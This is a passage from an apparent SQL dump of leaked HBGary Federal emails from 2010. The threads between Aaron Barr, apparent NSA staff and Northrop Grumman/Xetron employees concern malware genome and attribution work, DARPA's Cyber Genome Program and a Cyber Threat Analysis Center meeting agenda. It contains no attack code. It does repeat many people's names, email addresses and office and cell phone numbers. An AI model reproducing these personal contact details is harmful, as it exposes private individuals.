digital artifact - a\r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>\r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>>\r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>> as to possible interest in engaging him to learn of his efforts\r\n>> (which\r\n>\r\n>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>> Malicious\r\n>\r\n>> Code Catalog efforts).\r\n>>\r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n>> holding back on responding til he saw your comments/guidance.\r\n>>\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Ralph,\r\n>>\r\n>> Happy New Year.\r\n>>\r\n>> I am still very interested to talk to folks there about the Malicious\r\n>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>> interest on that side.  As I mentioned we have recently partnered\r\n>> with\r\n>\r\n>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n>> or 2 other small vendors with complimentary technology.  I think\r\n>> something really substantial can be put together.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat\r\n>>> briefly at Leesburg.\r\n>>>\r\n>>> I have pushed your info to those within my Agency who are working\r\n>>> with\r\n>>\r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n>>> next\r\n>\r\n>>> week, no one has reached-out to you, pls email me again and I will\r\n>>> follow up with them.\r\n>>>\r\n>>> Sincerely,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>>\r\n>>> Ralph,\r\n>>>\r\n>>> Thank you for stepping in and asking about my discussion about\r\n>>> Malware\r\n>>\r\n>>> detection, genomes, and attribution.  I am very new to my current\r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n>>> if we can make headway against attribution I would have said no, not\r\n>>> until we have better situational awareness, network\r\n>>> characterization,\r\n>\r\n>>> CND/CNE integration, etc.\r\n>>>\r\n>>> Then I started to learn about HBGarys Malware Genome database, where\r\n>>> they have characterized 3500 traits of malware to date, and are\r\n>>> starting to make associations of authorship across malware.  I\r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were\r\n>>> seriously going to take a crack at attribution.\r\n>>>\r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>> would love to talk with them and combine efforts if appropriate to\r\n>>> develop the capability that is needed to help with this challenge.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>>\r\n>\r\n>\r\n>\r\n>\r\n',10866,'aaron_hbgary_com/10866.html'),(2777,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001279.M907437P3547Q2777.eml','\"Bodman, Jerry M\" <jmbodma@nsa.gov>','Re: Malware Genome and Attribution','Sorry didnt answer the question.  It is related to responder.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 17, 2010, at 1:45 PM, \"Bodman, Jerry M\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> I am interested.\r\n>\r\n> What is the best way to meet?\r\n>\r\n> Can you come here?\r\n>\r\n> Is this related to Responder Pro?\r\n>\r\n> Matt\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, February 16, 2010 9:00 AM\r\n> To: Fraticelli, David ; Boseman, Barry A; Bodman, Jerry M\r\n> Cc: Gipson, Vergle ; Ghent, Ralph\r\n> Subject: Re: Malware Genome and Attribution\r\n>\r\n> Dave/Barry/Matt,\r\n>\r\n> I am very interested to discuss our different efforts/capabilities\r\n> related to malware genomes/catalogs.  Please let me know when\r\n> convenient\r\n> to get together.\r\n>\r\n> Thank you,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n> On Feb 2, 2010, at 8:52 AM, Gipson, Vergle wrote:\r\n>\r\n>> Ralph,\r\n>>\r\n>>    Thanks for reminding me about this one.\r\n>>\r\n>> Dave/Barry/Matt -- follow up on this please.\r\n>>\r\n>> Vergle\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Tuesday, February 02, 2010 7:02 AM\r\n>> To: Ghent, Ralph ; Gipson, Vergle\r\n>> Cc: Trimm, David A; \'adbarr@me.com\'; George, Anthony J; Harley\r\n>> Parkes;\r\n>\r\n>> Carbin, Jeffery J.; Brenner, Joel F; McFalls, John\r\n>> Subject: RE: Malware Genome and Attribution\r\n>>\r\n>> Vergle,\r\n>> Reminder of the thread below, and your awareness of the efforts of\r\n> Aaron\r\n>> Barr; which may be supportive of your Malware catalog efforts.   Have\r\n>> not seen any response since this was raised in early December.\r\n>>\r\n>> Also, pls see recent news article below:\r\n>>\r\n>> \'Cyber Genome Project\': The military scientists want to establish a\r\n>> \"Cyber Genome\" project which will allow any digital artifact - a\r\n>> document, apiece of malware - to be probed to its very origins.\r\n>> According to an announcement put out yesterday by DARPA, the \"Cyber\r\n>> Genome Program\" will \"produce revolutionary cyber defense and\r\n>> investigatory technologies\".\r\n>> Source: http://www.theregister.co.uk/2010/01/26/cyber_genome_project/\r\n>>\r\n>> VR,\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ghent, Ralph\r\n>> Sent: Monday, January 11, 2010 3:05 PM\r\n>> To: Gipson, Vergle\r\n>> Subject: FW: Malware Genome and Attribution\r\n>>\r\n>> Vergle:\r\n>> I mentioned this fellow to you awhile back and emailed you all in V2\r\n>> as to possible interest in engaging him to learn of his efforts\r\n>> (which\r\n>\r\n>> seem to me to be very closely aligned to the Carnegie-Mellon\r\n>> Malicious\r\n>\r\n>> Code Catalog efforts).\r\n>>\r\n>> I spoke with Alex at Marshall\'s reception on 8 jan and he said he was\r\n>> holding back on responding til he saw your comments/guidance.\r\n>>\r\n>>\r\n>> Ralph Ghent\r\n>> rdghent@nsa.gov\r\n>> Ph: 443-654-0129\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>> Sent: Friday, January 08, 2010 10:23 AM\r\n>> To: Ghent, Ralph\r\n>> Subject: Re: Malware Genome and Attribution\r\n>>\r\n>> Hi Ralph,\r\n>>\r\n>> Happy New Year.\r\n>>\r\n>> I am still very interested to talk to folks there about the Malicious\r\n>> Code Catalog and our Malware Genome and Digital DNA if there is\r\n>> interest on that side.  As I mentioned we have recently partnered\r\n>> with\r\n>\r\n>> Palantir and are working on a partnership with Netwitness and maybe 1\r\n>> or 2 other small vendors with complimentary technology.  I think\r\n>> something really substantial can be put together.\r\n>>\r\n>> Aaron\r\n>>\r\n>>\r\n>> On Dec 17, 2009, at 6:26 AM, Ghent, Ralph wrote:\r\n>>\r\n>>> Aaron,\r\n>>> Did anyone from the NTOC contact you yet?\r\n>>> Respectfully,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ghent, Ralph\r\n>>> Sent: Friday, December 04, 2009 2:27 PM\r\n>>> To: \'Aaron Barr\'\r\n>>> Subject: RE: Malware Genome and Attribution\r\n>>>\r\n>>> Aaron,\r\n>>> Many thanks for the additional info and the opportunity to chat\r\n>>> briefly at Leesburg.\r\n>>>\r\n>>> I have pushed your info to those within my Agency who are working\r\n>>> with\r\n>>\r\n>>> Carnegie-Mellon on the Malicious Code Catalog.  If, by this time\r\n>>> next\r\n>\r\n>>> week, no one has reached-out to you, pls email me again and I will\r\n>>> follow up with them.\r\n>>>\r\n>>> Sincerely,\r\n>>>\r\n>>>\r\n>>> Ralph Ghent\r\n>>> rdghent@nsa.gov\r\n>>> Ph: 443-654-0129\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:adbarr@me.com]\r\n>>> Sent: Thursday, December 03, 2009 11:10 PM\r\n>>> To: Ghent, Ralph\r\n>>> Subject: Malware Genome and Attribution\r\n>>>\r\n>>> Ralph,\r\n>>>\r\n>>> Thank you for stepping in and asking about my discussion about\r\n>>> Malware\r\n>>\r\n>>> detection, genomes, and attribution.  I am very new to my current\r\n>>> position as CEO of HBGary Federal, prior to this I was the Technical\r\n>>> Director for Northrop Grummans Cyber and SIGINT Systems BU and the\r\n>>> Technical Lead for NGs Cyber Campaign.  Had you asked me 3 weeks ago\r\n>>> if we can make headway against attribution I would have said no, not\r\n>>> until we have better situational awareness, network\r\n>>> characterization,\r\n>\r\n>>> CND/CNE integration, etc.\r\n>>>\r\n>>> Then I started to learn about HBGarys Malware Genome database, where\r\n>>> they have characterized 3500 traits of malware to date, and are\r\n>>> starting to make associations of authorship across malware.  I\r\n>>> immediately thought of Palantirs capability to link analysis and had\r\n>> an aha moment.\r\n>>> But I knew that other capabilities needed to be added if we were\r\n>>> seriously going to take a crack at attribution.\r\n>>>\r\n>>> Anyway, you had mentioned Carnegie Melon had some efforts here.  I\r\n>>> would love to talk with them and combine efforts if appropriate to\r\n>>> develop the capability that is needed to help with this challenge.\r\n>>>\r\n>>> Thank You,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> 301.652.8885 x117\r\n>>> 719.510.8478\r\n>>\r\n>\r\n>\r\n>\r\n>\r\n',3191,'aaron_hbgary_com/3191.html'),(2778,'2010-02-17','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297001280.M287127P3547Q2779.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,aaron@hbgary.com,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>','Re: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\nSounds good Brian.  Kurt HakensonChief TechnologistElectronic Systems SectorNorthrop Grumman Corp. 410-993-6499&quot;It is not necessary to change.  Survival is not mandatory.&quot; ~W. Edwards Deming\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)To: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)Cc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 17 15:32:01 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',525,'aaron_hbgary_com/525.html'),(2779,'2010-02-17','\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>','/aaron@hbgary.com/new/1297001280.M521392P3547Q2780.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,aaron@hbgary.com,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>','Re: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\nWorks for me. Tnx. \r\n\r\n\r\nFrom: Masterson, Brian (Xetron)To: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)Cc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 17 15:32:01 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',13507,'aaron_hbgary_com/13507.html'),(2780,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001280.M733357P3547Q2781.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','When and where to meet?From my iPhoneOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n                BAAs\r\n\r\n                Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\n\r\nSent: Sunday, February 14, 2010 8:14 AM\r\n\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\n\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\n\r\nSubject: Cyber Threat Analysis Center\r\n\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center  IRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.  We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\n\r\nPlease bring all materials that you accumulated this week from your trips.  We should have Palantir and HBGary tools accessible.  There should be an IG demo.  I’ll get food.\r\n\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n',50,'aaron_hbgary_com/50.html'),(2781,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001280.M89916P3547Q2778.eml','\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>','RE: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',14159,'aaron_hbgary_com/14159.html'),(2782,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001280.M935004P3547Q2782.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" 